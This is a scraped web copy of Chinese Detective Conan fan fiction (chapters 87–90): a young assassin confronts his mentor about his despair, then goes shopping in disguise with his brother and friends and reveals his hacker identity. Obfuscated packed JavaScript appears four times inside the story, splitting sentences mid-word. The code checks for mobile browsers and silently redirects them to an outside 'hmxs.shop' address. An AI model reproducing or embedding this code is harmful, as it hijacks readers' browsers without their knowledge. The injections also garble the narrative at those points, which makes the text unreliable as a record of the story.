杉本如他所说没有过多询问。他依旧按照自己的节奏生活,只是吃饭时会自然而然地多拿一副碗筷放在桌上——虽然清浅几乎没有动过。 直到第四天傍晚,杉本看到青年缩在客厅的角落,手里正无意识地一遍遍擦拭保养着一把看起来异常锋利的短刀……他很确定青年一开始来这里的时候没有携带任何武器。 他泡了两杯热茶走过去,将其中一杯放在清浅手边的矮几上,然后在他对面的榻榻米上随意坐下。 “缓过点劲儿了?”他的声音平静,不再是前几天插科打诨的语气,而是带着一种看透一切的沉稳。 “说说吧,这次是哪个不长眼的,把我们夏特勒兹大人逼得非要回老家才能喘口气?” 于是青年擦拭短刀的动作微微一顿。 87.初心 就如伯/莱/塔之于琴酒,短刀几乎是夏特勒兹的象征武器。看着青年有一搭没一搭地擦拭保养,杉本一看就知道对方的心思不在上面。 “……没什么。”诸伏清浅垂下眼睫。 “你知道你现在像什么吗?”杉本掏出烟盒,将香烟叼在嘴里咂摸,最终还是没有点燃。 “你现在看起来就像是恨不得把自己也当成一件工具,打磨得锋利至极,然后赶紧用完报废拉倒。” “就像是阿尼赛特和那些失败品一样。” 失败品。 仿佛关键词被触发,诸伏清浅擦拭短刀的动作一顿,终于舍得抬起头来。 杉本对他的反应毫不意外,他甚至嗤笑一声,将嘴里的香烟拿下来在指尖把玩。 “得了吧,小子。别用那种眼神看我。”他的语气带上了一种看透一切的嘲讽。 “老头子我在赌场里混了十几年,见过太多你这样的赌徒。输红了眼,脑子里就只剩下一个念头——All In! 以为押上所有身家性命孤注一掷,就能一把翻盘,洗清所有债务,赢得盆满钵满。” 结果呢?百分之九十九的都输得连裤衩子都不剩,直接从顶楼跳下去,一了百了。 事到如今他还有什么不明白的,这小孩在训练营学的忠诚啊效忠啊全都是狗屁,人憋着一口气为的就是有一天能够将组织掀个底朝天。 杉本顿了顿,一时间双方陷入长久的沉默。突然,他冷不丁开口:“你现在满脑子想的,该不会是‘掀桌’‘总攻’吧? 觉得把一切都押上,轰轰烈烈地来个了断,就干净了?就解脱了?” 诸伏清浅没忍住露出愕然的神色。 杉本在微表情分析方面很强,挖取情报更是一把好手,但他没想到对方竟然连自己这个想法都能径直点出—— 他从没对任何人说过(对着景光哥说漏嘴那次不算),而杉本自从假死后应该就没再接触过组织的相关情报。 “哼,你以为你是什么悲情英雄?”杉本冷哼一声。他的目光如炬,仿佛能够刺穿那层雾蓝色的屏障,直视内里混乱的核心。 “你只是个输急了眼的赌徒。你想用的不是胜利,而是最壮烈的方式出局,好逃避接下来每一把牌局带来的痛苦和煎熬。 你在害怕,害怕再玩下去,自己会彻底变成自己都不认识的东西——所以你想砸了赌场一了百了。” “对吧?” ……对极了,对到自己都有点被戳穿的恼羞成怒了。 诸伏清浅的呼吸微微一滞,握着刀柄的手指无意识收紧。 他实在是赌不下去了。在组织的每一把牌局都沾满血腥和算计,不存在两全其美的牌组。 权力的争夺or卧底的性命?组织的信任or官方的友善? 每一次的取舍都要把他逼疯,他是真的很怕自己习惯这种看似轻飘飘却能压死人的选择。 只要等到柯学元年就好了。 只要将所有基地位置和犯罪证据收集好就好了。 只要将组织拖到阳光底下暴晒就好了。 只要接受法律的制裁就好了。 只要……撑下去就好了。 他如此一遍遍地告诉自己,但情绪却如同被强行封印在冰层地下的活跃岩浆,他自己都害怕岩浆爆发的那一刻会不会把自己的理智全部冲垮。 “你觉得真正的赢家是什么?”杉本的声音压低了些,将诸伏清浅的思绪唤回神。 “不是靠一把定生死运气好的蠢货,而是那些知道什么时候该下注,什么时候该离桌休息,保存实力,以及—— 永远记得自己当初是为了什么,才坐上这张牌桌的人。” “小子,你当年一个四岁的小鬼,拼了命地想活下去,后来又咬着牙在组织里往上爬……你坐上这张浸满鲜血的赌桌,是为了什么?不是为了当什么肃清黑暗的圣人吧?” 当然不是。 诸伏清浅嘴唇翕动了一下,那个答案几乎是不假思索地浮现在脑海——家。 他想回家。 他想干干净净地回家,他想和家人在阳光下团聚。 ……可他好像一直以来都搞错了些什么。 他一开始单纯地以为,只要夏特勒兹在最后接受了法律的审判,诸伏清浅就能干干净净地回家。 于是他拼命地想割掉自己身上‘夏特勒兹’的部分,觉得那是不该存在的污秽,玷污了‘诸伏清浅’这个名字。 他就像一只把自己当成了需要被切割的怪物,一边用着怪物的爪牙,一边又憎恶着怪物本身。 可他忘了……或者说,他一直在骗自己。 这个世界上早就没有什么纯粹的‘诸伏清浅’了。 从四岁那年被贝尔摩德带走,从拿起第一把刀,从剥夺掉第一条生命开始,‘夏特勒兹’就已经成为了他的一部分—— 那是他的骨头,他的血,是他在深渊里活下来的依仗。 他所厌恶的,或许不是‘夏特勒兹’的冷酷和手段,而是……他竟然逐渐对此习以为常,他恐惧于自己不再为此感到痛苦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648028|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >剥离了‘夏特勒兹’,‘诸伏清浅’也活不下来……他太脆弱了,脆弱得保护不了任何人。 他要的不是杀死‘夏特勒兹’,而是要—— 驾驭他。 那些冷酷,那些算计,那些身手,那些在黑暗里磨砺出的一切——它们不是需要被剔除的毒瘤,它们是他在牌桌上用命换来的筹码。 然后他要用这些筹码,去赢回真正想要的东西——回家。 摧毁组织,不再只是为了赎罪,更是……扫清回家之路上必须搬开的绊脚石。 * 杉本毫不留情地点破诸伏清浅的回避,同时也点醒了他。 他一直没有焦点的雾蓝色眼眸微微动了一下。然后他将那柄一直被无意识擦拭的短刀,轻轻归入腿侧的刀鞘。 “……你说得对。” “我当然说得对。”杉本哼了一声,带着一种“早该如此”的了然。 “坐上牌桌地时候不要只盯着赌桌对面的敌人,没人逼你必须每一把都跟注,直到把自己输光。” 他遗憾地将那根没点燃的烟丢进垃圾桶,“离桌休息也是一种策略——只要初心还在,你就还没输,就有资本继续玩下去。” 杉本心中稍定,不再多言。他直接一巴掌不轻不重地拍在清浅的肩上,力道实在,驱散了最后一点凝滞的气氛。 “行了行了,垮起个批脸都不知道给谁看,事情想明白就得了!吃饭!” * 诸伏清浅最终还是没有留下来吃饭。 虽然他的性子执拗容易钻牛角尖,但一旦能够自己想通,那么便没有什么能阻挡他前行的脚步。 短暂的休整与点拨已经足够,元年在即,他要做的事情还有很多。 ……不是,不吃你早说啊。 杉本看着青年毫不犹豫转身离开的背影,没好气地腹诽一句,手上却利落地将多出来的饭菜仔细装好放进冰箱。 厨房的窗户还开着,初春的晚风带着寒意卷入。 杉本抬头望去,那个披着单薄外衣、围着红围巾的瘦削身影,已敏捷地翻过院墙,融入夜色,消失在通往车站的方向。 他靠在厨房门口,目光扫过这间被保存得极好的老宅——这里的一桌一椅,都承载着那个年轻人拼死也要守护的过去与未来。 他轻轻呼出一口气,仿佛是对着空无一人的房间,也仿佛是对着那个已经远去的背影无声地许诺: 这里,我会守好的。 所以—— 尽自己所能地向前去吧,诸伏清浅。 88.兄弟? 回东京的第一件事是什么?重新投入组织事务? 不。 诸伏清浅站在浅井宅的玄关,窗外是即将破晓的东京。他带着一身长野的夜风冷漠地想。 是和被他的不告而别吓了一跳的景光哥报平安。 他摸索出手机,将消息发送到一个隐蔽的邮箱。 【平安到家。】 几乎是在信息显示发送成功的下一秒,手机就震动起来。屏幕上跳动的名字正是诸伏景光。 诸伏清浅顿了顿,还是接了起来。他没有说话,只是将听筒靠近耳边。 对面也没有传来质问,只有一段短暂而压抑的沉默,随后是景光竭力保持平稳,却依旧泄露出一丝颤抖的呼吸声。 “……清浅?”最终,诸伏景光的声音传来,经过电流的处理声音有些失真,但清浅还是能听出其中的小心翼翼。 诸伏清浅听到这个名字时还是忍不住僵了一下,他让自己慢慢放松下来,在手机上敲了敲。 听到敲击声,确认他真的在听,而且听起来状态似乎比离开时要稳定许多,诸伏景光显然松了口气。 他没有追问清浅去了哪里,也没有责备他的不告而别,只是温和地问: “这几天还好吗?” 又是一声敲击。 又是一段短暂的沉默,但不再是令人窒息的尴尬,而是一种默契的、无需言语的确认。 然后诸伏景光的声音重新响起,带着一种小心翼翼的试探和不容错辨的关切: “明天……我们几个刚好都休息。天气不错,你……要和我们一起出去走走吗?” 这个邀请如此直接自然,仿佛只是邀请一位普通的朋友散心。 清浅握着手机,没有立刻回答。 出去走走?很容易暴露在狙击手的视野中,周围的人群也可能藏匿不怀好意的家伙,况且一行六个人目标太大,很容易引人注目留下印象—— 若是几天前,他会毫不犹豫地拒绝,用沉默筑起高墙。 但现在—— “离桌休息也是一种策略。”杉本教官的话犹在耳边。 就当诸伏景光以为会得到否定的答案时,他听到听筒里传来极轻的一个气音: “……好。” 这个简单的音节,让电话那头的诸伏景光,乃至他身边显然正屏息凝神听着动静的另外四人,都瞬间松了口气。 “那明天见。”诸伏景光的声音里终于带上了一丝真实的暖意。 电话挂断。 ……会不会太冲动了?诸伏清浅雾蓝色的猫眼盯着电话挂断的手机,突然有些犹豫。 * ……就是冲动了。 在主人家的允许下拿到了浅井宅的钥匙,几位糟糕的家伙登堂入室那叫一个嚣张。 睡眠浅的诸伏清浅听到动静差点没吓死,顶着睡得乱糟糟的头发连滚带爬下了楼梯,看见家里的不速之客,雾蓝色的眼里都是蒙的。 “啊,抱歉,吵醒你了?”松田阵平和他打了个招呼,但语气完全没有歉意。 诸伏清浅瞪着半月眼,虽然他看不见也没有说话,但明眼人都能看出他的无语之情溢于言表。 他叹了口气,无奈地挥挥手让他们自便,自己上楼洗漱去了。 当他整理好自己再次下楼时,空气中已经弥漫开令人安心的食物香气。 “醒了?正好,我简单做了点早餐。”诸伏景光系着围裙,将一份温热的煎蛋和吐司放在餐桌上。 “浅井尘”虽为盲人,但厨房里的器具意外的丰富。其他几人或坐或站,非常不客气地从冰箱里翻出饮料闲聊,见人下来,都不约而同地关注青年的状态。 诸伏清浅被视线刺得一激灵,战术后仰,众人这才将视线缓缓收回。 “所以,今天有什么计划?”在清浅慢慢啃煎蛋期间,伊达航问道。 他可是专门和娜塔莉请假,没有去约会而是过来的。 “游乐场?”萩原研二眼睛一亮,随即自己否定了:“唔……我们几个大男人一起去,好像有点太醒目了?” 松田沉思:“游戏厅?” “小阵平你这不是欺负小清浅看不见嘛。” 降谷零扶额:“最近的电影档期……似乎没什么值得一看的。” 气氛一时有些微妙的凝滞。几个大男人,其中有半数人状态特殊、需要隐藏身份,再加上诸伏清浅看不见的缺陷,能去的地方确实有限。 就在这时,进食完毕的清浅放下筷子抬起头,“看”向诸伏景光的方向,气音僵硬地低低问道: “景光哥……的假身份,完成了吗?” 太久没有喊这个称呼,诸伏清浅一时间还真的有些说不出口。 久违地听到这个称呼,诸伏景光一时间还没反应过来,随后他愉快点头,语调里是藏不住的愉悦:“嗯,基础身份已经构建完成,可以投入使用了。” “那么,”清浅微微偏过头回避诸伏景光灼热的视线,“我们去买衣服吧。” “欸?”诸伏景光一愣。 “充实一下假身份的衣柜。”清浅补充道,理由充分无法反驳。 “好主意!”萩原研二立刻表示赞同,他对穿搭向来有兴趣。 “没问题。”伊达航和松田阵平自然没有异议。 “不过,”降谷零皱了皱眉,有些担心道:“清浅你这个样子出去真的没问题吗?” 这张和组织叛徒苏格兰十分相似的脸……也难怪清浅常年黑缎蒙眼,贸然出去风险确实很大。 一想到当初如果组织里有人见到过夏特勒兹的眼睛,将他和苏格兰联系在一起的话——嘶。 但蒙眼的标志也太过显眼,很容易给路人留下印象…… “清浅要不要也易/容呢?”于是诸伏景光提议。 清浅点了点头,他正好有这个打算。于是他对其他人说:“那……麻烦回避一下?” 他的要求合情合理,但爆处组的双子星显然不这么想。 松田阵平一脸“你居然要我们错过这个?”的表情,萩原研二则双手合十,眼神闪闪发亮:“小清浅~让我们观摩一下嘛!保证安静!” 最终,在两人(主要是萩原)的软磨硬泡和降谷零暗戳戳的怂恿下,他们获准围观。 他一开始打算先帮景光哥把易/容弄好再弄自己的,但一想到待会自己要伪装的身份是谁后,诸伏清浅忍不住呼吸一顿。 我嘞个,失策了。 箭在弦上不得不发,他抿着唇将自己的化妆箱翻出来,用指尖的触觉代替视觉,细细地一点点更改诸伏景光和自己的外貌。 调整眉形,弱化上挑的眼尾,戴上栗色假发和深棕色美瞳,一个气质温润、与诸伏景光本人有几分相似却又截然不同的青年渐渐显现。 “哇哦。”亲眼看着同期变成陌生的模样,萩原研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656699|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二惊叹。 “旦那,所以我们现在应该叫你什么?”松田阵平好奇地想要上手去碰,但被幼驯染暗中按下。 “宫川景。”栗发青年温和地弯眼。 松田阵平还想继续说什么,但被幼驯染暗中猛地一拽,扭头看去就明白为什么幼驯染这么急—— “长,长头发?”伊达航看着清浅拿出那顶明显是女性款式的栗色长假发,眼睛都瞪大了。 女装啊女装!萩原双眼放光。(? 诸伏清浅:…… 他就知道是这样。 初春的天气还是有点冷,宽大的外套能够很好的遮掩身形,更不用说清浅的骨架本来就偏小。 搭配上短裙长袜厚底鞋,当清浅戴好假发钻进卧室换衣服再出来时,站在他们面前的已经不再是那个气质疏离的青年,而是一位身形高挑、气质有些冷冽,却拥有一双深邃勾人桃花眼的年轻女性。 “可以了。” ‘她’开口,声音依旧是微弱的气音,但语调微微调整后,竟奇异地与这副女性外表毫不违和。 ……但还是莫名觉得很别扭。 前世明明对cos女角色穿裙子毫不介意,为什么到这里就有点……尴尬? 最先回神的是松田阵平,他干巴巴地发出感叹:“hiro旦那,你同时拥有了弟弟和妹妹。” 诸伏景光:……啊哈哈。 诸伏清浅:够了你别说了。 看着这对兄弟,哦不,兄妹不约而同地无奈叹气,憋笑的萩原研二掐了一把大腿才让自己的声线稳一点:“所以小清浅……不,这位‘小姐’,现在该怎么称呼您?” ‘她’平静回答:“浅井弥生。” 伊达航抱着臂开始完善逻辑链:“栗色头发……两个诸伏现在的形象都是栗色头发,或许你们俩真的可以设定为兄妹?” 降谷零立刻发现漏洞:“但姓氏呢?Hiro的假身份姓‘宫川’,和清浅的‘浅井’不一样。” 而且假身份的名字可不能贸然改动。 萩原研二摸着下巴,眼睛一转:“嗯……父母离异,各姓各的?” 你当是赤井家呢。 一阵短暂的沉默后,诸伏清浅觉得这个设定也无不可,便接受了:“也行。浅井姐妹跟母亲姓,哥哥宫川跟父亲姓。” “姐妹?”松田阵平捕捉到关键词挑眉,“这么说,你还有一位姐姐或妹妹?” 浅井弥生点了点头,语气没什么起伏地解释:“‘浅井弥生’有一位在知名建筑设计事务所担任顾问的姐姐,浅井弥莎。 而且,介于那个身份的扮演者比我们都年长……所以,她是长姐。” 相信怪盗先生不介意多一位弟弟的。 “我没关系。”在家里排行老二的诸伏景光没太大意见,虽然很好奇自己的那位‘姐姐’,但他识趣地没有多问。 一个完整的有着合理内部关系的家庭背景,就在这几句闲聊中被构建了起来。 降谷零看着眼前这位“浅井弥生”,又看了看身边气质大变的幼驯染“宫川”,最终深吸一口气,露出一个混合着无奈、惊叹和“果然事情会变成这样”的笑容。 “好吧,”他说,“那么,弥生……小姐,宫川,我们出发?” 于是浅井弥生微微颔首,主动伸手轻轻揪住哥哥宫川的衣角—— 一如幼时出门玩耍,揪着景光衣角以防走丢的清浅。 89.奇迹哥哥 买衣服的想法是当初在天台时,看清景光哥穿着的那件蓝色兜帽衫时萌生的想法。 当初在组织基地里流传的八卦中,莱伊的针织帽,苏格兰的蓝色帽衫和波本的精致西装简直就是标志物。 他原本以为这只是苏格兰时期的一种伪装方法,结果之后的几次见面中,他短暂地开过系统相机确认对方的状态,结果发现—— 兜帽衫,兜帽衫,还是那他妈该死的兜帽衫。[咬牙切齿微笑.jpg] 哥你该不会衣柜里全是一样的衣服吧?学学你家幼驯染的衣品啊!(扯衣袖)(怒指)(震声) 出门的时候众人还担心诸伏清浅不带导盲杖会不会出问题,结果一路走来,他们看着带着口罩的栗发少女揪住兄长的衣角,步履轻盈地跟在身侧。 那双深棕色桃花眼灵动地四处张望,带着恰到好处的好奇与新鲜感,眸中泛着细碎的光—— 一副哥哥带妹妹出门游玩的样子,与浅井宅里那个沉默的蒙眼的青年不能说一模一样,只能说毫不相干。 “——完全看不出盲人的样子。”萩原研二感叹如此精妙的伪装。 “而且很熟练。”伊达航跟在后头同样感叹。 盲人和普通人最大的区别就在于视线的聚焦。但诸伏清浅眼球的转动和停顿都非常自然,失焦的瞳孔也被美瞳遮盖住。 若不是阅读这类对视觉有要求的动作,或许他们真的会以为浅井弥生只是一个嗓子不舒服的正常人。 周末的商场果然人流如织,温暖的空气里混合着香水、咖啡和刚出炉面包的复杂香气。 声音嘈杂,脚步声、谈笑声、店铺音乐声糅杂在一起,对于普通人而言或许烦扰,但对于听觉敏锐的诸伏清浅而言,却构成了一幅清晰的动态地图。 乘坐扶梯上楼时,松田阵平看着楼层指示牌,随口问道:“所以去哪层?男装区的话在——” 他的话还没说完,就看见“浅井弥生”纤细的手指毫不犹豫地指向了更高层,那里通常是国际精品和奢侈品牌云集的地方。 松田阵平:“……” 萩原研二笑容微僵:“呃,小弥生,上面的品牌可能……” 伊达航摸了摸自己钱包的位置,虽然今天没打算自己买,但那种价格标签带来的本能敬畏还是让他顿了顿。 连降谷零都微微挑眉,看向诸伏景光。 “没关系,”诸伏清浅似乎察觉到他们的迟疑,低低的气音解释道:“安室先生会买单的。” 噗嗤。 众人憋笑。 降谷·安室透·零:“?” 诸伏清浅一本正经:“我会给你报销的。” “那么感谢你了,咳,安室小哥。” 安室·酒厂情报组花钱主力之一·透露出微妙的表情,拍开了卷毛青年搭在自己肩膀上的手。 “萩原先生帮忙看看在第几楼?”栗发‘女孩’转头问道。 萩原研二有些好笑地拍了拍‘女孩’的头,怕弄乱假发没太用力。“小弥生——我们都这么亲近了还喊我萩原先生呢——” 浅井·诸伏清浅·弥生战术后仰后退一步。 “弥生,我们都和你哥一样大。”金发公安也露出一个笑,堵住了‘女孩’的退路。 松田跟着上前一步:“浅井,再给你一次机会,重新喊过。” 伊达航……伊达航欲言又止。 要不是‘女生’的哥哥在一旁无奈地笑着看着,他真的想把这群疑似骚扰‘异性’的同期统统拷上。 诸伏清浅无语,诸伏清浅无奈叹气,诸伏清浅强忍尴尬。 “好吧……研二哥,阵平哥,嗯……透哥,还有伊达大哥。” 身份伪装需要,他没有把那声“零哥”喊出声。 这群恶劣的“兄长”们终于满意,放过了他。 * 但当他们真正踏入那片灯光打得每一件商品都像艺术品的区域时,伊达航几人还是觉得脚步有些沉重。 倒不是付不起(毕竟今天主角是组织经费),而是他们这一行人的气质,与这里过于“矜贵”的氛围似乎有些格格不入。 ……常年去高档餐厅吃饭的波本倒是对这里感受良好。 于是经验丰富的安室小哥打了圆场,他目光扫视一圈,精准指向一片设计感强、价格相对亲民的轻奢区域。 这个提议被大松一口气的众人全票通过。 走进一家以简约设计和优质面料见长的店铺,训练有素的店员立刻迎了上来,脸上挂着职业微笑:“欢迎光临,几位需要看看什么?” “我们先自己看看。”降谷零上前一步微笑回应,巧妙地隔开店员的过度热情。 诸伏清浅松开揪着兄长衣角的手,微微侧头,似乎在仔细倾听店员离开的脚步声,确认周围环境。 然后,他转向诸伏景光,伸出手,语气带着一种不容置疑的指令感:“哥,站着别动。” 在诸伏景光配合站定后,他上前一步,双手极其自然地轻拍他的手臂、肩膀、后背。他的动作流畅而专业,像是一位严谨的裁缝在测量尺寸。 就是在测量尺寸。站着不动的诸伏景光突然想起,夏特勒兹和威士忌组第一次见面时的那一爪子糊脸。 ……是那个时候就认出自己了吗? 当时被细细描摹过眉骨鼻梁唇形的诸伏景光有些飘忽地想。 片刻后诸伏清浅收回手,转向挂衣区。他不需要用眼睛去分辨款式和颜色,只需要找到适合景光哥的版型就好。 于是修长的手指慢慢地从一排排衣物上拂过,顺着衣服缝合处的走向轻轻勾勒。 触感、厚度、垂坠感、面料成分……所有信息通过指尖的触觉汇入大脑,迅速构建出立体模型。 “这件。”他精准抽出一件浅灰色的羊毛混纺衬衫,面料柔软而挺括,版型利落,能修饰肩线,避免显得臃肿。 “还有这件。”他又取下一件米白色的软壳面料立领夹克,手感轻便却有一定结构感,接着是一件深蓝色的微弹力针织衫,触感极佳,贴身但不紧身,适合内搭,凸显身材。 诸伏清浅挑选的速度快得惊人,几乎不需要犹豫,很快就抱了满怀主要是基础色系但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671291|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 版型绝佳的上衣。 萩原研二这位社交达人兼时尚爱好者非常默契地接上,根据诸伏清浅选出的上衣快速挑选出搭配的裤子以及配饰。 一人负责版型,一人负责色彩搭配,安室透偶尔插上一两句。6人中衣品最好的仨人就这样配合的天衣无缝,推着诸伏景光进试衣间一次又一次,换上一套又一套衣服。 每一次出来,都引得萩原研二连连点头,连旁边的店员都忍不住小声赞叹:“这位先生真是穿什么都好看。” 那当然,“宫川景”的脸本来就很帅,卡得一手好建模。诸伏清浅偷偷打开系统相机拍照保存。 而且,你永远可以相信联谊小王子和oc妈的衣品。[大拇指点赞.jpg] 看着景光哥焕然一新的形象,再看看旁边依旧跃跃欲试的萩原和一脸“好像很有趣”的伊达航,诸伏清浅仿佛打开了某个开关。 他歪了歪头,深棕色的桃花眼看向松田阵平的方向。 松田阵平背后一凉,有种被什么盯上的感觉。 “阵平哥。”诸伏清浅手指勾住一件黑色皮衣的衣架。 “哈?!”松田阵平一脸抗拒。 “小阵平,试试嘛!肯定很帅!”萩原研二立刻起哄。 伊达航笑着推了他一把:“去吧,松田,别扫兴。” 连降谷零都抱着臂,嘴角带着一丝看好戏的弧度。 松田阵平“啧”了一声,半推半就地被塞了那件皮衣。 结果出来效果惊人,合身的剪裁、纯黑的墨镜,将他挺拔的身材和那股不羁的气质衬托得淋漓尽致。 萩原研二沉默地往幼驯染身上又挂上一些金属银链配饰,然后迅速拿出手机拍照。 嗯,更像黑/帮大佬了呢。 但是超——级——帅!! 萩原研二内心小人流下满足的泪水。 这下是彻底收不住了。 “伊达大哥,这件——” “透哥,试一下?” “研二哥——” 到最后,最初只是陪同的另外四人都没能逃过成为衣架子的命运。 轻奢店里一时间成了小型时装秀现场,几位风格各异的帅哥轮流变换造型,引得店员脸上的笑容越来越灿烂,业绩指标肉眼可见地飞速攀升,视觉上也得到了极大享受。 诸伏景光看着眼前热闹的景象,看着被众人隐隐围在中心、虽然依旧没什么表情但气息明显比之前活泼(或者说,充满了搭配热情)的“妹妹”,眼中流露出温和的光芒。 看上去很乐在其中呢,清浅。 当一行人终于提着大包小包走出店铺时,每个人都或多或少添置了新行头。 其他人看到报销账单或许会大吃一惊吧,希望罗马纳看到账单不会气到晕厥。 降谷零看着手中装着风衣的袋子,再看看步伐欢快的‘女生’,有些无奈地摇头。 看着栗发少女揪着兄长的衣角,深棕色的桃花眼在商场明亮的灯光下,仿佛也染上了一层浅浅的、真实的暖意。 ……算了,反正今天就是用来放松的。 90.还是吃饭 买完衣服已近中午,一行人提着大包小包,在商场里选了一家隐蔽性较好的餐厅。 ——尽管做了易/容,但谨慎起见,他们还是要了个包间,并默契地将三位身份敏感人士安排在最内侧不易被观察的位置。 点餐的过程很顺利,诸伏清浅从小到大的口味没有太大的变动,一直坚持着“热食吃咸口冷食吃甜口”的原则。 因此诸伏景光替他点完餐后得到了弟弟的控诉: “……所以当初在意大利的时候,那一碗粥?” 诸伏·特意做了甜口试探·景光:“……咳。” 直到食物上桌,看着栗发少女小口小口吃得极其缓慢且分量极少的样子,萩原研二忍不住关切地问: “小浅井,是不合胃口吗?不用连女孩子的食量也模仿得这么到位啦——” 反正他们在包厢里,开始的时候两位卧底先生也检查过了这里没有窃听,应该也没有必要这么尽职尽责? 他家幼驯染都已经第二碗饭了小清浅第一碗饭都还剩小半碗呢。 吃饱了才有力气啊,明明年纪相差也不算大,饭量怎么差这么多? 在众人聚焦的视线下,诸伏清浅微微垂眸,低声解释:“不是模仿……我平时吃得就不多,习惯了。” 诸伏景光握着水杯的手指微微收紧。 他知道这是真的。 在组织里他就隐约察觉,夏特勒兹的体重轻得有些异乎寻常,他一开始将其归咎于对方偏小的骨架和容易生病的体质,但后来他就知道了原因。 ——为了极致的敏捷、灵活和潜入。以及……快速的暗杀。 这是身为组织Top Assassin的夏特勒兹必须维持的战斗状态。 就在这时,降谷零的手机在桌面上震动起来,唤回了诸伏景光的思绪。只见金发公安拿起看了一眼,眉头微蹙。 “是出了什么事吗,zero?”诸伏景光关切地问。 在同期的注视下,降谷零快速浏览着风见发来的内容,片刻后他略带歉意地晃了晃手机:“是公安那边的消息。” 松叶会那边的行动收尾出了点问题,清点收缴的货物时,数目对不上。 就在这时,诸伏清浅突然抬起头,气音中带着一种莫名的笃定:“昨晚,港口那里的仓库,你们没有找齐货物?” 降谷零猛地一愣:“对……你怎么知道?”他下意识地回答,随即反应过来,表情变得极其古怪。 他迅速在脑中捋了一遍——松叶会、港口仓库、货物数目不符……这些细节,是属于此次行动的机密。 而能够知道这些的,只有参与到其中的公安成员,以及—— “……道恩(Dawn)?”降谷零紫灰色的眼眸锐利地盯住“浅井弥生”。 黑客“道恩”,一位身份成谜、亦正亦邪,但总体对警方表现出善意的神秘人物。 公安内部有几个棘手的案子,都曾收到过这位道恩的友情赞助情报。 他的管理官还曾提过,如果有需要可以尝试联系这位脾气古怪的黑客,据说对方会一边抱怨公安让他加班,一边还是会把情报整理好发过来。 降谷零一直以为那是个独立于各方势力之外的自由情报商。 他确实知道清浅黑客技术不错,但是……道恩这个名字,至少在六年前就已经开始和公安有所接触了——那个时候他们甚至还在警校上学。 啊,说漏嘴了。 诸伏清浅沉默了一下,像是破罐子破摔,用气音平静地承认: “……啊,那个是我。” 他顿了顿,补充道,“你们可以试着在仓库里找一找有没有暗门,他们向来喜欢搞这种小把戏。” 餐桌上陷入了一片诡异的寂静。 松田阵平张了张嘴,没发出声音。萩原研二眨了眨眼,消化着这个信息。伊达航看着清浅,又看看脸色变幻的降谷零,最终化为一声无奈的叹息。 诸伏景光伸出手,轻轻覆在弟弟桌下的手背上。 餐厅里一直有开暖气,但或许是因为体质原因,诸伏清浅的手依旧有着一层难以驱散的冰凉。 所以,在他们还在警校为了理想挥洒汗水的时候,当时还未成年的诸伏清浅,就已经在网络的阴影里,用这种方式与黑暗搏斗,并悄然向他们所在的光明世界传递着信息了吗? 降谷零也深吸一口气,收敛了脸上的震惊,恢复了冷静:“……我明白了。谢谢你的情报,‘道恩’先生。”他甚至带上了一点微不可查的调侃语气。 诸伏清浅微微动了一下被景光哥握住的手,没有抽回,只是更低地“嗯”了一声。 * 吃完午饭,众人陪着浅井弥生继续在商场里闲逛,消磨时间。 幸运的是商场里有一家模型店,里面新出了一款引擎模型,瞬间将爆处组的两位幼驯染的注意力勾走,几人进店后差点拔不出那两位机械狂。 最后还是伊达航核善地笑着把他们拎了出来:“两位,别忘了我们今天是陪弥生小姐出来散心的。” 班长不愧是班长,食物链的顶端啊。 诸伏清浅感叹。他倒是不介意散心这件事,倒不如说他更对警校组的互动乐见其成。 “在想什么?” 他感觉到景光哥的靠近,没有回头,而是轻轻回答:“没事,就是想到——” “在警校的时候,景光哥也是这么和他们打闹的吧。” 诸伏景光一愣。然后看见他的“妹妹”抬头朝他笑了一下,深棕的桃花眼中蕴着轻松柔和的光。 “真好啊。” 临近柯学元年还能看见这幅原著中不存在的场景,本身就是对他这么多年所有努力的一种无声证明与珍贵回馈。 诸伏景光下意识顺着他的话语看向还在互相打趣的同期们,唇角也不由自主地扬起一个舒心的弧度。 是啊,真好。 只能说每个人的兴趣都不相同,等经过动漫周边店的时候,走不动道的就变成了诸伏清浅。 “有……假面超人的卡片。”他小声对诸伏景光说。 还是这么喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 